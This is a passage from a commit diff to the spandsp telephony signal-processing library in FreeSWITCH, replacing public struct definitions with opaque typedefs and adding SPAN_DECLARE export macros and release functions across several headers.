-    /*! \brief An opaque pointer passed when calling get_byte. */
-    void *user_data;
+typedef struct async_tx_state_s async_tx_state_t;
 
-    /*! \brief A current, partially transmitted, character. */
-    int byte_in_progress;
-    /*! \brief The current bit position within a partially transmitted character. */
-    int bitpos;
-    /*! \brief Parity bit. */
-    int parity_bit;
-} async_tx_state_t;
-
 /*!
     Asynchronous data receive descriptor. This defines the state of a single
     working instance of an asynchronous serial to byte converter, for use
     in FSK modems.
 */
-typedef struct
-{
-    /*! \brief The number of data bits per character. */
-    int data_bits;
-    /*! \brief The type of parity. */
-    int parity;
-    /*! \brief The number of stop bits per character. */
-    int stop_bits;
-    /*! \brief TRUE if V.14 rate adaption processing should be performed. */
-    int use_v14;
-    /*! \brief A pointer to the callback routine used to handle received characters. */
-    put_byte_func_t put_byte;
-    /*! \brief An opaque pointer passed when calling put_byte. */
-    void *user_data;
+typedef struct async_rx_state_s async_rx_state_t;
 
-    /*! \brief A current, partially complete, character. */
-    int byte_in_progress;
-    /*! \brief The current bit position within a partially complete character. */
-    int bitpos;
-    /*! \brief Parity bit. */
-    int parity_bit;
-
-    /*! A count of the number of parity errors seen. */
-    int parity_errors;
-    /*! A count of the number of character framing errors seen. */
-    int framing_errors;
-} async_rx_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -183,7 +142,7 @@
     \brief Convert a signal status to a short text description.
     \param status The modem signal status.
     \return A pointer to the description. */
-const char *signal_status_to_str(int status);
+SPAN_DECLARE(const char *) signal_status_to_str(int status);
 
 /*! Initialise an asynchronous data transmit context.
     \brief Initialise an asynchronous data transmit context.
@@ -195,19 +154,23 @@
     \param get_byte The callback routine used to get the data to be transmitted.
     \param user_data An opaque pointer.
     \return A pointer to the initialised context, or NULL if there was a problem. */
-async_tx_state_t *async_tx_init(async_tx_state_t *s,
-                                int data_bits,
-                                int parity_bits,
-                                int stop_bits,
-                                int use_v14,
-                                get_byte_func_t get_byte,
-                                void *user_data);
+SPAN_DECLARE(async_tx_state_t *) async_tx_init(async_tx_state_t *s,
+                                               int data_bits,
+                                               int parity_bits,
+                                               int stop_bits,
+                                               int use_v14,
+                                               get_byte_func_t get_byte,
+                                               void *user_data);
 
+SPAN_DECLARE(int) async_tx_release(async_tx_state_t *s);
+
+SPAN_DECLARE(int) async_tx_free(async_tx_state_t *s);
+
 /*! Get the next bit of a transmitted serial bit stream.
     \brief Get the next bit of a transmitted serial bit stream.
     \param user_data An opaque point which must point to a transmitter context.
     \return the next bit, or PUTBIT_END_OF_DATA to indicate the data stream has ended. */
-int async_tx_get_bit(void *user_data);
+SPAN_DECLARE_NONSTD(int) async_tx_get_bit(void *user_data);
 
 /*! Initialise an asynchronous data receiver context.
     \brief Initialise an asynchronous data receiver context.
@@ -219,14 +182,18 @@
     \param put_byte The callback routine used to put the received data.
     \param user_data An opaque pointer.
     \return A pointer to the initialised context, or NULL if there was a problem. */
-async_rx_state_t *async_rx_init(async_rx_state_t *s,
-                                int data_bits,
-                                int parity_bits,
-                                int stop_bits,
-                                int use_v14,
-                                put_byte_func_t put_byte,
-                                void *user_data);
+SPAN_DECLARE(async_rx_state_t *) async_rx_init(async_rx_state_t *s,
+                                               int data_bits,
+                                               int parity_bits,
+                                               int stop_bits,
+                                               int use_v14,
+                                               put_byte_func_t put_byte,
+                                               void *user_data);
 
+SPAN_DECLARE(int) async_rx_release(async_rx_state_t *s);
+
+SPAN_DECLARE(int) async_rx_free(async_rx_state_t *s);
+
 /*! Accept a bit from a received serial bit stream
     \brief Accept a bit from a received serial bit stream
     \param user_data An opaque point which must point to a receiver context.
@@ -236,7 +203,7 @@
         - SIG_STATUS_TRAINING_SUCCEEDED
         - SIG_STATUS_TRAINING_FAILED
         - SIG_STATUS_END_OF_DATA */
-void async_rx_put_bit(void *user_data, int bit);
+SPAN_DECLARE_NONSTD(void) async_rx_put_bit(void *user_data, int bit);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/at_interpreter.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/at_interpreter.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/at_interpreter.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: at_interpreter.h,v 1.19 2008/09/16 12:45:50 steveu Exp $
+ * $Id: at_interpreter.h,v 1.23 2009/02/10 13:06:47 steveu Exp $
  */
 
 /*! \file */
@@ -112,13 +112,6 @@
     AT_RESPONSE_CODE_FRH3
 };
 
-struct at_call_id
-{
-    char *id;
-    char *value;
-    struct at_call_id *next;
-};
-
 /*!
     AT profile.
 */
@@ -140,124 +133,37 @@
     uint8_t s_regs[100];
 } at_profile_t;
 
-/*!
-    AT descriptor. This defines the working state for a single instance of
-    the AT interpreter.
-*/
-struct at_state_s
-{
-    at_profile_t p;
-    /*! Value set by +GCI */
-    int country_of_installation;
-    /*! Value set by +FIT */
-    int dte_inactivity_timeout;
-    /*! Value set by +FIT */
-    int dte_inactivity_action;
-    /*! Value set by L */
-    int speaker_volume;
-    /*! Value set by M */
-    int speaker_mode;
-    /*! This is no real DTE rate. This variable is for compatibility this serially
-        connected modems. */
-    /*! Value set by +IPR/+FPR */
-    int dte_rate;
-    /*! Value set by +ICF */
-    int dte_char_format;
-    /*! Value set by +ICF */
-    int dte_parity;
-    /*! Value set by &C */
-    int rlsd_behaviour;
-    /*! Value set by &D */
-    int dtr_behaviour;
-    /*! Value set by +FCL */
-    int carrier_loss_timeout;
-    /*! Value set by X */
-    int result_code_mode;
-    /*! Value set by +IDSR */
-    int dsr_option;
-    /*! Value set by +ILSD */
-    int long_space_disconnect_option;
-    /*! Value set by +ICLOK */
-    int sync_tx_clock_source;
-    /*! Value set by +EWIND */
-    int rx_window;
-    /*! Value set by +EWIND */
-    int tx_window;
-    
-    int v8bis_signal;
-    int v8bis_1st_message;
-    int v8bis_2nd_message;
-    int v8bis_sig_en;
-    int v8bis_msg_en;
-    int v8bis_supp_delay;
-
-    uint8_t rx_data[256];
-    int rx_data_bytes;
-
-    int display_call_info;
-    int call_info_displayed;
-    struct at_call_id *call_id;
-    char *local_id;
-    /*! The currently select FAX modem class. 0 = data modem mode. */
-    int fclass_mode;
-    int at_rx_mode;
-    int rings_indicated;
-    int do_hangup;
-    int silent_dial;
-    int command_dial;
-    int ok_is_pending;
-    int dte_is_waiting;
-    /*! \brief TRUE if a carrier is presnt. Otherwise FALSE. */
-    int rx_signal_present;
-    /*! \brief TRUE if a modem has trained, Otherwise FALSE. */
-    int rx_trained;
-    int transmit;
-
-    char line[256];
-    int line_ptr;
-
-    at_modem_control_handler_t *modem_control_handler;
-    void *modem_control_user_data;
-    at_tx_handler_t *at_tx_handler;
-    void *at_tx_user_data;
-    at_class1_handler_t *class1_handler;
-    void *class1_user_data;
-
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-};
-
 #if defined(__cplusplus)
 extern "C"
 {
 #endif
 
-void at_set_at_rx_mode(at_state_t *s, int new_mode);
+SPAN_DECLARE(void) at_set_at_rx_mode(at_state_t *s, int new_mode);
 
-void at_put_response(at_state_t *s, const char *t);
+SPAN_DECLARE(void) at_put_response(at_state_t *s, const char *t);
 
-void at_put_numeric_response(at_state_t *s, int val);
+SPAN_DECLARE(void) at_put_numeric_response(at_state_t *s, int val);
 
-void at_put_response_code(at_state_t *s, int code);
+SPAN_DECLARE(void) at_put_response_code(at_state_t *s, int code);
 
-void at_reset_call_info(at_state_t *s);
+SPAN_DECLARE(void) at_reset_call_info(at_state_t *s);
 
 /*! Set the call information for an AT interpreter.
     \brief Set the call information for an AT interpreter.
     \param s The AT interpreter context.
     \param id .
     \param value . */
-void at_set_call_info(at_state_t *s, char const *id, char const *value);
+SPAN_DECLARE(void) at_set_call_info(at_state_t *s, char const *id, char const *value);
 
-void at_display_call_info(at_state_t *s);
+SPAN_DECLARE(void) at_display_call_info(at_state_t *s);
 
-int at_modem_control(at_state_t *s, int op, const char *num);
+SPAN_DECLARE(int) at_modem_control(at_state_t *s, int op, const char *num);
 
-void at_call_event(at_state_t *s, int event);
+SPAN_DECLARE(void) at_call_event(at_state_t *s, int event);
 
-void at_interpreter(at_state_t *s, const char *cmd, int len);
+SPAN_DECLARE(void) at_interpreter(at_state_t *s, const char *cmd, int len);
 
-void at_set_class1_handler(at_state_t *s, at_class1_handler_t handler, void *user_data);
+SPAN_DECLARE(void) at_set_class1_handler(at_state_t *s, at_class1_handler_t handler, void *user_data);
 
 /*! Initialise an AT interpreter context.
     \brief Initialise an AT interpreter context.
@@ -267,17 +173,23 @@
     \param modem_control_handler x.
     \param modem_control_user_data x.
     \return A pointer to the AT context, or NULL if there was a problem. */
-at_state_t *at_init(at_state_t *s,
-                    at_tx_handler_t *at_tx_handler,
-                    void *at_tx_user_data,
-                    at_modem_control_handler_t *modem_control_handler,
-                    void *modem_control_user_data);
+SPAN_DECLARE(at_state_t *) at_init(at_state_t *s,
+                                   at_tx_handler_t *at_tx_handler,
+                                   void *at_tx_user_data,
+                                   at_modem_control_handler_t *modem_control_handler,
+                                   void *modem_control_user_data);
 
+/*! Release an AT interpreter context.
+    \brief Release an AT interpreter context.
+    \param s The AT context.
+    \return 0 for OK */
+SPAN_DECLARE(int) at_release(at_state_t *s);
+
 /*! Free an AT interpreter context.
     \brief Free an AT interpreter context.
     \param s The AT context.
     \return 0 for OK */
-int at_free(at_state_t *s);
+SPAN_DECLARE(int) at_free(at_state_t *s);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/awgn.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/awgn.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/awgn.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: awgn.h,v 1.14 2008/04/17 14:26:59 steveu Exp $
+ * $Id: awgn.h,v 1.18 2009/02/10 13:06:47 steveu Exp $
  */
 
 /*! \file */
@@ -71,28 +71,23 @@
 /*!
     AWGN generator descriptor. This contains all the state information for an AWGN generator.
  */
-typedef struct
-{
-    double rms;
-    long int ix1;
-    long int ix2;
-    long int ix3;
-    double r[98];
-    double gset;
-    int iset;
-} awgn_state_t;
+typedef struct awgn_state_s awgn_state_t;
 
 #if defined(__cplusplus)
 extern "C"
 {
 #endif
 
-awgn_state_t *awgn_init_dbm0(awgn_state_t *s, int idum, float level);
+SPAN_DECLARE(awgn_state_t *) awgn_init_dbm0(awgn_state_t *s, int idum, float level);
 
-awgn_state_t *awgn_init_dbov(awgn_state_t *s, int idum, float level);
+SPAN_DECLARE(awgn_state_t *) awgn_init_dbov(awgn_state_t *s, int idum, float level);
 
-int16_t awgn(awgn_state_t *s);
+SPAN_DECLARE(int) awgn_release(awgn_state_t *s);
 
+SPAN_DECLARE(int) awgn_free(awgn_state_t *s);
+
+SPAN_DECLARE(int16_t) awgn(awgn_state_t *s);
+
 #if defined(__cplusplus)
 }
 #endif

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/bell_r2_mf.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/bell_r2_mf.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/bell_r2_mf.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: bell_r2_mf.h,v 1.19 2008/05/30 13:51:28 steveu Exp $
+ * $Id: bell_r2_mf.h,v 1.24 2009/02/10 13:06:47 steveu Exp $
  */
 
 /*! \file */
@@ -108,73 +108,22 @@
     Bell MF generator state descriptor. This defines the state of a single
     working instance of a Bell MF generator.
 */
-typedef struct
-{
-    /*! The tone generator. */
-    tone_gen_state_t tones;
-    int current_sample;
-    union
-    {
-        queue_state_t queue;
-        uint8_t buf[QUEUE_STATE_T_SIZE(MAX_BELL_MF_DIGITS)];
-    } queue;
-} bell_mf_tx_state_t;
+typedef struct bell_mf_tx_state_s bell_mf_tx_state_t;
 
 /*!
     Bell MF digit detector descriptor.
 */
-typedef struct
-{
-    /*! Optional callback funcion to deliver received digits. */
-    digits_rx_callback_t digits_callback;
-    /*! An opaque pointer passed to the callback function. */
-    void *digits_callback_data;
-    /*! Tone detector working states */
-    goertzel_state_t out[6];
-    /*! Short term history of results from the tone detection, using in persistence checking */
-    uint8_t hits[5];
-    /*! The current sample number within a processing block. */
-    int current_sample;
+typedef struct bell_mf_rx_state_s bell_mf_rx_state_t;
 
-    /*! The number of digits which have been lost due to buffer overflows. */
-    int lost_digits;
-    /*! The number of digits currently in the digit buffer. */
-    int current_digits;
-    /*! The received digits buffer. This is a NULL terminated string. */
-    char digits[MAX_BELL_MF_DIGITS + 1];
-} bell_mf_rx_state_t;
-
 /*!
     MFC/R2 tone detector descriptor.
 */
-typedef struct
-{
-    /*! The tone generator. */
-    tone_gen_state_t tone;
-    /*! TRUE if generating forward tones, otherwise generating reverse tones. */
-    int fwd;
-    /*! The current digit being generated. */
-    int digit;
-} r2_mf_tx_state_t;
+typedef struct r2_mf_tx_state_s r2_mf_tx_state_t;
 
 /*!
     MFC/R2 tone detector descriptor.
 */
-typedef struct
-{
-    /*! Optional callback funcion to deliver received digits. */
-    tone_report_func_t callback;
-    /*! An opaque pointer passed to the callback function. */
-    void *callback_data;
-    /*! TRUE is we are detecting forward tones. FALSE if we are detecting backward tones */
-    int fwd;
-    /*! Tone detector working states */
-    goertzel_state_t out[6];
-    /*! The current sample number within a processing block. */
-    int current_sample;
-    /*! The currently detected digit. */
-    int current_digit;
-} r2_mf_rx_state_t;
+typedef struct r2_mf_rx_state_s r2_mf_rx_state_t;
 
 #if defined(__cplusplus)
 extern "C"
@@ -187,7 +136,7 @@
     \param max_samples The required number of generated samples.
     \return The number of samples actually generated. This may be less than 
             max_samples if the input buffer empties. */
-int bell_mf_tx(bell_mf_tx_state_t *s, int16_t amp[], int max_samples);
+SPAN_DECLARE(int) bell_mf_tx(bell_mf_tx_state_t *s, int16_t amp[], int max_samples);
 
 /*! \brief Put a string of digits in a Bell MF generator's input buffer.
     \param s The Bell MF generator context.
@@ -196,42 +145,52 @@
            assumed to be a NULL terminated string.
     \return The number of digits actually added. This may be less than the
             length of the digit string, if the buffer fills up. */
-size_t bell_mf_tx_put(bell_mf_tx_state_t *s, const char *digits, int len);
+SPAN_DECLARE(int) bell_mf_tx_put(bell_mf_tx_state_t *s, const char *digits, int len);
 
 /*! \brief Initialise a Bell MF generator context.
     \param s The Bell MF generator context.
     \return A pointer to the Bell MF generator context.*/
-bell_mf_tx_state_t *bell_mf_tx_init(bell_mf_tx_state_t *s);
+SPAN_DECLARE(bell_mf_tx_state_t *) bell_mf_tx_init(bell_mf_tx_state_t *s);
 
+/*! \brief Release a Bell MF generator context.
+    \param s The Bell MF generator context.
+    \return 0 for OK, else -1. */
+SPAN_DECLARE(int) bell_mf_tx_release(bell_mf_tx_state_t *s);
+
 /*! \brief Free a Bell MF generator context.
     \param s The Bell MF generator context.
     \return 0 for OK, else -1. */
-int bell_mf_tx_free(bell_mf_tx_state_t *s);
+SPAN_DECLARE(int) bell_mf_tx_free(bell_mf_tx_state_t *s);
 
 /*! \brief Generate a block of R2 MF tones.
     \param s The R2 MF generator context.
     \param amp The buffer for the generated signal.
     \param samples The required number of generated samples.
     \return The number of samples actually generated. */
-int r2_mf_tx(r2_mf_tx_state_t *s, int16_t amp[], int samples);
+SPAN_DECLARE(int) r2_mf_tx(r2_mf_tx_state_t *s, int16_t amp[], int samples);
 
 /*! \brief Generate a block of R2 MF tones.
     \param s The R2 MF generator context.
     \param digit The digit to be generated.
     \return 0 for OK, or -1 for a bad request. */
-int r2_mf_tx_put(r2_mf_tx_state_t *s, char digit);
+SPAN_DECLARE(int) r2_mf_tx_put(r2_mf_tx_state_t *s, char digit);
 
 /*! \brief Initialise an R2 MF tone generator context.
     \param s The R2 MF generator context.
     \param fwd TRUE if the context is for forward signals. FALSE if the
            context is for backward signals.
     \return A pointer to the MFC/R2 generator context.*/
-r2_mf_tx_state_t *r2_mf_tx_init(r2_mf_tx_state_t *s, int fwd);
+SPAN_DECLARE(r2_mf_tx_state_t *) r2_mf_tx_init(r2_mf_tx_state_t *s, int fwd);
 
+/*! \brief Release an R2 MF tone generator context.
+    \param s The R2 MF tone generator context.
+    \return 0 for OK, else -1. */
+SPAN_DECLARE(int) r2_mf_tx_release(r2_mf_tx_state_t *s);
+
 /*! \brief Free an R2 MF tone generator context.
     \param s The R2 MF tone generator context.
     \return 0 for OK, else -1. */
-int r2_mf_tx_free(r2_mf_tx_state_t *s);
+SPAN_DECLARE(int) r2_mf_tx_free(r2_mf_tx_state_t *s);
 
 /*! Process a block of received Bell MF audio samples.
     \brief Process a block of received Bell MF audio samples.
@@ -239,14 +198,14 @@
     \param amp The audio sample buffer.
     \param samples The number of samples in the buffer.
     \return The number of samples unprocessed. */
-int bell_mf_rx(bell_mf_rx_state_t *s, const int16_t amp[], int samples);
+SPAN_DECLARE(int) bell_mf_rx(bell_mf_rx_state_t *s, const int16_t amp[], int samples);
 
 /*! \brief Get a string of digits from a Bell MF receiver's output buffer.
     \param s The Bell MF receiver context.
     \param buf The buffer for the received digits.
     \param max The maximum  number of digits to be returned,
     \return The number of digits actually returned. */
-size_t bell_mf_rx_get(bell_mf_rx_state_t *s, char *buf, int max);
+SPAN_DECLARE(size_t) bell_mf_rx_get(bell_mf_rx_state_t *s, char *buf, int max);
 
 /*! \brief Initialise a Bell MF receiver context.
     \param s The Bell MF receiver context.
@@ -256,14 +215,19 @@
     \param user_data An opaque pointer which is associated with the context,
            and supplied in callbacks.
     \return A pointer to the Bell MF receiver context.*/
-bell_mf_rx_state_t *bell_mf_rx_init(bell_mf_rx_state_t *s,
-                                    digits_rx_callback_t callback,
-                                    void *user_data);
+SPAN_DECLARE(bell_mf_rx_state_t *) bell_mf_rx_init(bell_mf_rx_state_t *s,
+                                                   digits_rx_callback_t callback,
+                                                   void *user_data);
 
+/*! \brief Release a Bell MF receiver context.
+    \param s The Bell MF receiver context.
+    \return 0 for OK, else -1. */
+SPAN_DECLARE(int) bell_mf_rx_release(bell_mf_rx_state_t *s);
+
 /*! \brief Free a Bell MF receiver context.
     \param s The Bell MF receiver context.
     \return 0 for OK, else -1. */
-int bell_mf_rx_free(bell_mf_rx_state_t *s);
+SPAN_DECLARE(int) bell_mf_rx_free(bell_mf_rx_state_t *s);
 
 /*! Process a block of received R2 MF audio samples.
     \brief Process a block of received R2 MF audio samples.
@@ -271,12 +235,12 @@
     \param amp The audio sample buffer.
     \param samples The number of samples in the buffer.
     \return The number of samples unprocessed. */
-int r2_mf_rx(r2_mf_rx_state_t *s, const int16_t amp[], int samples);
+SPAN_DECLARE(int) r2_mf_rx(r2_mf_rx_state_t *s, const int16_t amp[], int samples);
 
 /*! \brief Get the current digit from an R2 MF receiver.
     \param s The R2 MF receiver context.
     \return The number digits being received. */
-int r2_mf_rx_get(r2_mf_rx_state_t *s);
+SPAN_DECLARE(int) r2_mf_rx_get(r2_mf_rx_state_t *s);
 
 /*! \brief Initialise an R2 MF receiver context.
     \param s The R2 MF receiver context.
@@ -288,15 +252,20 @@
     \param user_data An opaque pointer which is associated with the context,
            and supplied in callbacks.
     \return A pointer to the R2 MF receiver context. */
-r2_mf_rx_state_t *r2_mf_rx_init(r2_mf_rx_state_t *s,
-                                int fwd,
-                                tone_report_func_t callback,
-                                void *user_data);
+SPAN_DECLARE(r2_mf_rx_state_t *) r2_mf_rx_init(r2_mf_rx_state_t *s,
+                                               int fwd,
+                                               tone_report_func_t callback,
+                                               void *user_data);
 
+/*! \brief Release an R2 MF receiver context.
+    \param s The R2 MF receiver context.
+    \return 0 for OK, else -1. */
+SPAN_DECLARE(int) r2_mf_rx_release(r2_mf_rx_state_t *s);
+
 /*! \brief Free an R2 MF receiver context.
     \param s The R2 MF receiver context.
     \return 0 for OK, else -1. */
-int r2_mf_rx_free(r2_mf_rx_state_t *s);
+SPAN_DECLARE(int) r2_mf_rx_free(r2_mf_rx_state_t *s);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/bert.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/bert.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/bert.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: bert.h,v 1.19 2008/04/17 14:26:59 steveu Exp $
+ * $Id: bert.h,v 1.23 2009/02/10 13:06:47 steveu Exp $
  */
 
 #if !defined(_SPANDSP_BERT_H_)
@@ -106,55 +106,8 @@
     Bit error rate tester (BERT) descriptor. This defines the working state for a
     single instance of the BERT.
 */
-typedef struct
-{
-    int pattern;
-    int pattern_class;
-    bert_report_func_t reporter;
-    void *user_data;
-    int report_frequency;
-    int limit;
+typedef struct bert_state_s bert_state_t;
 
-    uint32_t tx_reg;
-    int tx_step;
-    int tx_step_bit;
-    int tx_bits;
-    int tx_zeros;
-
-    uint32_t rx_reg;
-    uint32_t ref_reg;
-    uint32_t master_reg;
-    int rx_step;
-    int rx_step_bit;
-    int resync;
-    int rx_bits;
-    int rx_zeros;
-    int resync_len;
-    int resync_percent;
-    int resync_bad_bits;
-    int resync_cnt;
-    
-    uint32_t mask;
-    int shift;
-    int shift2;
-    int max_zeros;
-    int invert;
-    int resync_time;
-
-    int decade_ptr[9];
-    int decade_bad[9][10];
-    int step;
-    int error_rate;
-
-    int bit_error_status;
-    int report_countdown;
-
-    bert_results_t results;
-
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-} bert_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -163,7 +116,7 @@
 /*! Return a short description of a BERT event.
     \param event The event type.
     \return A pointer to a short text string describing the event. */
-const char *bert_event_to_str(int event);
+SPAN_DECLARE(const char *) bert_event_to_str(int event);
 
 /*! Initialise a BERT context.
     \param s The BERT context.
@@ -172,30 +125,34 @@
     \param resync_len ???
     \param resync_percent The percentage of bad bits which will cause a resync.
     \return The BERT context. */
-bert_state_t *bert_init(bert_state_t *s, int limit, int pattern, int resync_len, int resync_percent);
+SPAN_DECLARE(bert_state_t *) bert_init(bert_state_t *s, int limit, int pattern, int resync_len, int resync_percent);
 
+SPAN_DECLARE(int) bert_release(bert_state_t *s);
+
+SPAN_DECLARE(int) bert_free(bert_state_t *s);
+
 /*! Get the next bit of the BERT sequence from the generator.
     \param s The BERT context.
     \return The bit. */
-int bert_get_bit(bert_state_t *s);
+SPAN_DECLARE(int) bert_get_bit(bert_state_t *s);
 
 /*! Put the next bit of the BERT sequence to the analyser.
     \param s The BERT context.
     \param bit The bit. */
-void bert_put_bit(bert_state_t *s, int bit);
+SPAN_DECLARE(void) bert_put_bit(bert_state_t *s, int bit);
 
 /*! Set the callback function for reporting the test status.
     \param s The BERT context.
     \param freq The required frequency of regular reports.
     \param reporter The callback function.
     \param user_data An opaque pointer passed to the reporter routine. */
-void bert_set_report(bert_state_t *s, int freq, bert_report_func_t reporter, void *user_data);
+SPAN_DECLARE(void) bert_set_report(bert_state_t *s, int freq, bert_report_func_t reporter, void *user_data);
 
 /*! Get the results of the BERT.
     \param s The BERT context.
     \param results The results.
     \return The size of the result structure. */
-int bert_result(bert_state_t *s, bert_results_t *results);
+SPAN_DECLARE(int) bert_result(bert_state_t *s, bert_results_t *results);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/bit_operations.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/bit_operations.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/bit_operations.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: bit_operations.h,v 1.22 2008/07/10 13:43:40 steveu Exp $
+ * $Id: bit_operations.h,v 1.27 2009/07/10 13:15:56 steveu Exp $
  */
 
 /*! \file */
@@ -30,6 +30,12 @@
 #if !defined(_SPANDSP_BIT_OPERATIONS_H_)
 #define _SPANDSP_BIT_OPERATIONS_H_
 
+#if defined(__i386__)  ||  defined(__x86_64__)
+#if !defined(__SUNPRO_C)  ||  (__SUNPRO_C >= 0x0590)
+#define SPANDSP_USE_86_ASM
+#endif
+#endif
+
 #if defined(__cplusplus)
 extern "C"
 {
@@ -40,9 +46,9 @@
     \return The bit number of the highest set bit, or -1 if the word is zero. */
 static __inline__ int top_bit(unsigned int bits)
 {
+#if defined(SPANDSP_USE_86_ASM)
     int res;
 
-#if defined(__i386__)  ||  defined(__x86_64__)
     __asm__ (" xorl %[res],%[res];\n"
              " decl %[res];\n"
              " bsrl %[bits],%[res]\n"
@@ -50,11 +56,57 @@
              : [bits] "rm" (bits));
     return res;
 #elif defined(__ppc__)  ||   defined(__powerpc__)
+    int res;
+
     __asm__ ("cntlzw %[res],%[bits];\n"
              : [res] "=&r" (res)
              : [bits] "r" (bits));
     return 31 - res;
+#elif defined(_M_IX86)
+    /* Visual Studio i386 */
+    __asm
+    {
+        xor eax, eax
+        dec eax
+        bsr eax, bits
+    }
+#elif defined(_M_X64)
+    /* Visual Studio x86_64 */
+    /* TODO: Need the appropriate x86_64 code */
+    int res;
+
+    if (bits == 0)
+        return -1;
+    res = 0;
+    if (bits & 0xFFFF0000)
+    {
+        bits &= 0xFFFF0000;
+        res += 16;
+    }
+    if (bits & 0xFF00FF00)
+    {
+        bits &= 0xFF00FF00;
+        res += 8;
+    }
+    if (bits & 0xF0F0F0F0)
+    {
+        bits &= 0xF0F0F0F0;
+        res += 4;
+    }
+    if (bits & 0xCCCCCCCC)
+    {
+        bits &= 0xCCCCCCCC;
+        res += 2;
+    }
+    if (bits & 0xAAAAAAAA)
+    {
+        bits &= 0xAAAAAAAA;
+        res += 1;
+    }
+    return res;
 #else
+    int res;
+
     if (bits == 0)
         return -1;
     res = 0;
@@ -95,7 +147,7 @@
 {
     int res;
     
-#if defined(__i386__)  ||  defined(__x86_64__)
+#if defined(SPANDSP_USE_86_ASM)
     __asm__ (" xorl %[res],%[res];\n"
              " decl %[res];\n"
              " bsfl %[bits],%[res]\n"
@@ -156,45 +208,45 @@
 /*! \brief Bit reverse a 16 bit word.
     \param data The word to be reversed.
     \return The bit reversed version of data. */
-uint16_t bit_reverse16(uint16_t data);
+SPAN_DECLARE(uint16_t) bit_reverse16(uint16_t data);
 
 /*! \brief Bit reverse a 32 bit word.
     \param data The word to be reversed.
     \return The bit reversed version of data. */
-uint32_t bit_reverse32(uint32_t data);
+SPAN_DECLARE(uint32_t) bit_reverse32(uint32_t data);
 
 /*! \brief Bit reverse each of the four bytes in a 32 bit word.
     \param data The word to be reversed.
     \return The bit reversed version of data. */
-uint32_t bit_reverse_4bytes(uint32_t data);
+SPAN_DECLARE(uint32_t) bit_reverse_4bytes(uint32_t data);
 
 #if defined(__x86_64__)
 /*! \brief Bit reverse each of the eight bytes in a 64 bit word.
     \param data The word to be reversed.
     \return The bit reversed version of data. */
-uint64_t bit_reverse_8bytes(uint64_t data);
+SPAN_DECLARE(uint64_t) bit_reverse_8bytes(uint64_t data);
 #endif
 
 /*! \brief Bit reverse each bytes in a buffer.
     \param to The buffer to place the reversed data in.
     \param from The buffer containing the data to be reversed.
     \param len The length of the data in the buffer. */
-void bit_reverse(uint8_t to[], const uint8_t from[], int len);
+SPAN_DECLARE(void) bit_reverse(uint8_t to[], const uint8_t from[], int len);
 
 /*! \brief Find the number of set bits in a 32 bit word.
     \param x The word to be searched.
     \return The number of set bits. */
-int one_bits32(uint32_t x);
+SPAN_DECLARE(int) one_bits32(uint32_t x);
 
 /*! \brief Create a mask as wide as the number in a 32 bit word.
     \param x The word to be searched.
     \return The mask. */
-uint32_t make_mask32(uint32_t x);
+SPAN_DECLARE(uint32_t) make_mask32(uint32_t x);
 
 /*! \brief Create a mask as wide as the number in a 16 bit word.
     \param x The word to be searched.
     \return The mask. */
-uint16_t make_mask16(uint16_t x);
+SPAN_DECLARE(uint16_t) make_mask16(uint16_t x);
 
 /*! \brief Find the least significant one in a word, and return a word
            with just that bit set.

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/bitstream.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/bitstream.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/bitstream.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: bitstream.h,v 1.10 2008/04/17 14:27:00 steveu Exp $
+ * $Id: bitstream.h,v 1.14 2009/02/10 13:06:47 steveu Exp $
  */
 
 /*! \file */
@@ -37,13 +37,7 @@
 */
 
 /*! Bitstream handler state */
-typedef struct
-{
-    /*! The bit stream. */
-    unsigned int bitstream;
